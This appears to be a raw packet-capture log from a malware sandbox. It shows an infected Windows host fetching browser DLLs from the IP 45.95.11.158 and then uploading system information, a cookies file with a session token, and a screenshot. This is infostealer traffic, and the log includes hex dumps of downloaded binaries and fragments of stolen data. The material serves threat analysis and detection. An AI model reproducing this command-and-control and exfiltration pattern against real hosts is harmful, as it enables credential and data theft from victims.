Aug 23, 2022 03:42:52.623780012 CEST	3845	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll HTTP/1.1 Content-Type: text/plain; User-Agent: qwrqrwrqwrqwr Host: 45.95.11.158 Connection: Keep-Alive Cache-Control: no-cache
Aug 23, 2022 03:42:52.748509884 CEST	3846	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Aug 2022 01:42:52 GMT Content-Type: application/octet-stream Content-Length: 627128 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 14:39:36 GMT ETag: "62543da8-991b8" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d4 f1 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 18 08 00 00 56 01 00 00 00 00 00 b0 2f 04 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 09 00 00 04 00 00 ed ee 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 ad bc 08 00 63 51 00 00 10 0e 09 00 2c 01 00 00 00 70 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 72 09 00 b8 1f 00 00 00 80 09 00 34 43 00 00 1c b0 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 57 08 00 18 00 00 00 68 30 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 13 09 00 d8 03 00 00 90 b7 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d1 16 08 00 00 10 00 00 00 18 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9c ff 00 00 00 30 08 00 00 00 01 00 00 1c 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 1c 00 00 00 30 09 00 00 04 00 00 00 1c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 50 09 00 00 02 00 00 00 20 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 60 09 00 00 02 00 00 00 22 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 70 09 00 00 0a 00 00 00 24 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 43 00 00 00 80 09 00 00 44 00 00 00 2e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 53 57 56 83 ec 08 89 ce 8b 5d 08 a1 0c 30 09 10 31 e8 89 45 f0 53 e8 8a 14 08 00 83 c4 04 89 c7 8b 46 14 39 f8 73 30 83 ec 0c 8a 45 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL9b"!V/@AcQ,pr4CWh0.text `.rdata0@@.data0@.00cfgP @@.tls`"@.rsrcp$@@.reloc4CD.@BUSWV]01ESF9s0E
Aug 23, 2022 03:42:56.011955023 CEST	4750	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll HTTP/1.1 Content-Type: text/plain; User-Agent: qwrqrwrqwrqwr Host: 45.95.11.158 Connection: Keep-Alive Cache-Control: no-cache
Aug 23, 2022 03:42:56.134438038 CEST	5524	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Aug 2022 01:42:56 GMT Content-Type: application/octet-stream Content-Length: 684984 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 14:40:08 GMT ETag: "62543dc8-a73b8" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 26 f2 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 1a 08 00 00 36 02 00 00 00 00 00 b0 1f 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 e0 0a 00 00 04 00 00 e9 81 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 34 2c 0a 00 53 00 00 00 87 2c 0a 00 c8 00 00 00 00 a0 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 54 0a 00 b8 1f 00 00 00 b0 0a 00 38 24 00 00 84 26 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 30 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 94 2e 0a 00 44 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d5 19 08 00 00 10 00 00 00 1a 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 30 08 00 00 08 02 00 00 1e 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 40 0a 00 00 02 00 00 00 26 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 90 0a 00 00 02 00 00 00 28 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 a0 0a 00 00 04 00 00 00 2a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 38 24 00 00 00 b0 0a 00 00 26 00 00 00 2e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 32 19 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 07 19 08 00 83 c4 04 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL&9b"!6@A4,S,xT8$&0.D.text `.rdata0@@.data<F@&@.00cfg(@@.rsrcx*@@.reloc8$&.@BUhO2t8]h
Aug 23, 2022 03:42:58.035404921 CEST	9094	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll HTTP/1.1 Content-Type: text/plain; User-Agent: qwrqrwrqwrqwr Host: 45.95.11.158 Connection: Keep-Alive Cache-Control: no-cache
Aug 23, 2022 03:42:58.160772085 CEST	9095	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Aug 2022 01:42:58 GMT Content-Type: application/octet-stream Content-Length: 254392 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 14:39:58 GMT ETag: "62543dbe-3e1b8" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 27 f2 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f2 00 00 00 00 00 00 80 ce 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 a1 de 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 74 76 03 00 53 01 00 00 c7 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c2 03 00 b8 1f 00 00 00 c0 03 00 98 35 00 00 68 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 44 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 ca 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 04 ac 00 00 00 e0 02 00 00 ae 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 98 35 00 00 00 c0 03 00 00 36 00 00 00 8c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 a1 0c 9a 03 10 85 c0 74 0f 8b 88 8c 02 00 00 ff 15 00 a0 03 10 5d ff e1 68 a0 36 00 10 68 14 9a 03 10 ff 15 e8 7b 03 10 83 c4 08 85 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL'9b"!@AtvSw5hqD{.textV `.rdata@@.data~@.00cfg@@.rsrc@@.reloc56@BUt]h6h{
Aug 23, 2022 03:42:59.646912098 CEST	9366	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll HTTP/1.1 Content-Type: text/plain; User-Agent: qwrqrwrqwrqwr Host: 45.95.11.158 Connection: Keep-Alive Cache-Control: no-cache
Aug 23, 2022 03:42:59.776268959 CEST	9368	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Aug 2022 01:42:59 GMT Content-Type: application/octet-stream Content-Length: 1099223 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 12:28:56 GMT ETag: "62541f08-10c5d7" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 22 a9 2c 62 00 76 0e 00 b2 13 00 00 e0 00 06 21 0b 01 02 19 00 0c 0b 00 00 fa 0c 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 20 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 10 0f 00 00 06 00 00 c8 9d 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 0c 00 6e 2a 00 00 00 e0 0c 00 d0 0c 00 00 00 10 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 0d 00 e0 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c e2 0c 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ac 0a 0b 00 00 10 00 00 00 0c 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 20 0b 00 00 28 00 00 00 12 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 10 44 01 00 00 50 0b 00 00 46 01 00 00 3a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 a0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 6e 2a 00 00 00 b0 0c 00 00 2c 00 00 00 80 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 e0 0c 00 00 0e 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 f0 0c 00 00 02 00 00 00 ba 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 00 0d 00 00 02 00 00 00 bc 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 10 0d 00 00 06 00 00 00 be 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 e0 3b 00 00 00 20 0d 00 00 3c 00 00 00 c4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 60 0d 00 00 06 00 00 00 00 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 70 0d 00 00 ca 00 00 00 06 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 40 0e 00 00 28 00 00 00 d0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 70 0e 00 00 2e 00 00 00 f8 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 37 00 00 00 00 00 5c 0b 00 00 00 a0 0e 00 00 0c 00 00 00 26 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 37 30 00 00 00 00 00 23 03 00 00 00 b0 0e 00 00 04 00 00 00 32 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 c0 0e 00 00 3c 00 00 00 36 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 50 03 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL",bv! a n* ;.text`P`.data\|' (@`.rdataDPF:@`@.bss(`.edatan*,@0@.idata@0.CRT,@0.tls @0.rsrc@0.reloc; <@0B/48`@@B/19Rp@B/31]'@(@B/45-p.@B/57\&@0B/70#2@B/81s:<6@B/92P
Aug 23, 2022 03:43:07.173382044 CEST	10547	OUT	POST /4b2698dc1632e19c326c1c0b31ea2317 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=MB27h5nFPq8375T9 User-Agent: rqwrwqrqwrqw Host: 45.95.11.158 Content-Length: 7440 Connection: Keep-Alive Cache-Control: no-cache
Aug 23, 2022 03:43:07.173852921 CEST	10555	OUT	Data Raw: 2d 2d 4d 42 32 37 68 35 6e 46 50 71 38 33 37 35 54 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 79 73 74 65 6d 20 Data Ascii: --MB27h5nFPq8375T9Content-Disposition: form-data; name="file"; filename="System Info.txt"Content-Type: application/x-objectSystem Information: - Locale: English- Time zone: +60 minutes from GMT- OS: Windows 10 Pro- Architecture
Aug 23, 2022 03:43:07.518654108 CEST	10556	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Aug 2022 01:43:07 GMT Content-Type: text/html; charset=utf-8 Content-Length: 8 Connection: keep-alive Content-Security-Policy: default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin X-DNS-Prefetch-Control: off Expect-CT: max-age=0 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff Origin-Agent-Cluster: ?1 X-Permitted-Cross-Domain-Policies: none Referrer-Policy: no-referrer X-XSS-Protection: 0 ETag: W/"8-OEKKaYqxIiVAaA56t44dc56a/Rw" Data Raw: 72 65 63 65 69 76 65 64 Data Ascii: received
Aug 23, 2022 03:43:21.951199055 CEST	10893	OUT	POST /4b2698dc1632e19c326c1c0b31ea2317 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=em0r8mgVXOS0JdRO User-Agent: rqwrwqrqwrqw Host: 45.95.11.158 Content-Length: 1349 Connection: Keep-Alive Cache-Control: no-cache
Aug 23, 2022 03:43:21.951266050 CEST	10895	OUT	Data Raw: 2d 2d 65 6d 30 72 38 6d 67 56 58 4f 53 30 4a 64 52 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5c 63 6f 6f 6b 69 65 Data Ascii: --em0r8mgVXOS0JdROContent-Disposition: form-data; name="file"; filename="\cookies.txt"Content-Type: application/x-objectiplogger.orgTRUE/TRUE13337228554215810398144251410413575djEwGwlkmxmiFSlapyZxqzM0bkFnImXdrUg5G5q1saU=iplogger
Aug 23, 2022 03:43:22.082554102 CEST	10896	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Aug 2022 01:43:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 8 Connection: keep-alive Content-Security-Policy: default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin X-DNS-Prefetch-Control: off Expect-CT: max-age=0 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff Origin-Agent-Cluster: ?1 X-Permitted-Cross-Domain-Policies: none Referrer-Policy: no-referrer X-XSS-Protection: 0 ETag: W/"8-OEKKaYqxIiVAaA56t44dc56a/Rw" Data Raw: 72 65 63 65 69 76 65 64 Data Ascii: received
Aug 23, 2022 03:43:36.699762106 CEST	10979	OUT	POST /4b2698dc1632e19c326c1c0b31ea2317 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=007FwUOtlo8d3Evc User-Agent: rqwrwqrqwrqw Host: 45.95.11.158 Content-Length: 40773 Connection: Keep-Alive Cache-Control: no-cache
Aug 23, 2022 03:43:36.699898958 CEST	11001	OUT	Data Raw: 0d 0a 2d 2d 30 30 37 46 77 55 4f 74 6c 6f 38 64 33 45 76 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 2d 2d 2d 53 63 Data Ascii: --007FwUOtlo8d3EvcContent-Disposition: form-data; name="file"; filename="---Screenshot.jpeg"Content-Type: application/x-objectJFIF``C $.' ",#(7),01444'9=82<.342C2!
Aug 23, 2022 03:43:36.734508038 CEST	11003	OUT	Data Raw: 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 Data Ascii: (((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
Aug 23, 2022 03:43:36.734554052 CEST	11005	OUT	Data Raw: a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 Data Ascii: ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
Aug 23, 2022 03:43:36.734584093 CEST	11016	OUT	Data Raw: 00 51 45 14 00 51 45 14 00 51 45 14 00 51 45 14 00 51 45 14 00 51 45 14 00 51 45 14 00 51 45 14 00 51 45 14 00 51 45 14 00 51 45 14 00 51 45 14 00 51 45 14 00 51 45 14 00 51 45 14 00 51 45 14 00 51 45 14 00 51 45 14 00 51 45 14 00 51 45 14 00 51 Data Ascii: QEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQEQE
Aug 23, 2022 03:43:36.735024929 CEST	11019	OUT	Data Raw: 6c 95 50 a2 5d c6 3f 95 43 75 de 37 60 b7 02 b8 6f 10 5e d9 ea 5a e5 cd f5 8c 73 45 15 cb 09 59 25 6d c5 64 60 0b 8c 92 49 1b b7 60 93 9c 63 34 01 9b 45 27 7a 5a 60 25 2d 75 b6 17 ba 7f 84 74 fb 7b db 7f b2 6a 5a f5 ca 07 50 ea b2 c1 65 19 ec 41 Data Ascii: lP]?Cu7`o^ZsEY%md`I`c4E'zZ`%-ut{jZPeA#Q."tf}c?o&g^(~Qql.Kmzp;gdD>>y~_s+'_a=G\|}<yq=M/.#bw@VF
Aug 23, 2022 03:43:36.735049963 CEST	11019	OUT	Data Raw: 14 67 2b 1a 92 78 4e 17 8f f6 14 0c 0c e7 32 96 92 80 3d 5a df ed 0f e0 35 d1 10 c8 d3 3e 86 d7 6b 64 17 36 cc be 7e ef 3f 77 5f 3f 03 68 18 c7 4f 9b f8 6b 3f ce d4 ac 35 74 d2 b4 bd 5d f4 bb 0d 0e d5 62 d4 2f e1 62 3c b6 67 06 6c 15 f9 89 32 10 Data Ascii: g+xN2=Z5>kd6~?w_?hOk?5t]b/b<gl2A.p#aov&Kc)hC~Syj;{X'}?Usi9TOZ@wF&Z][d9yI) mYChz5VCm>J#O,7x
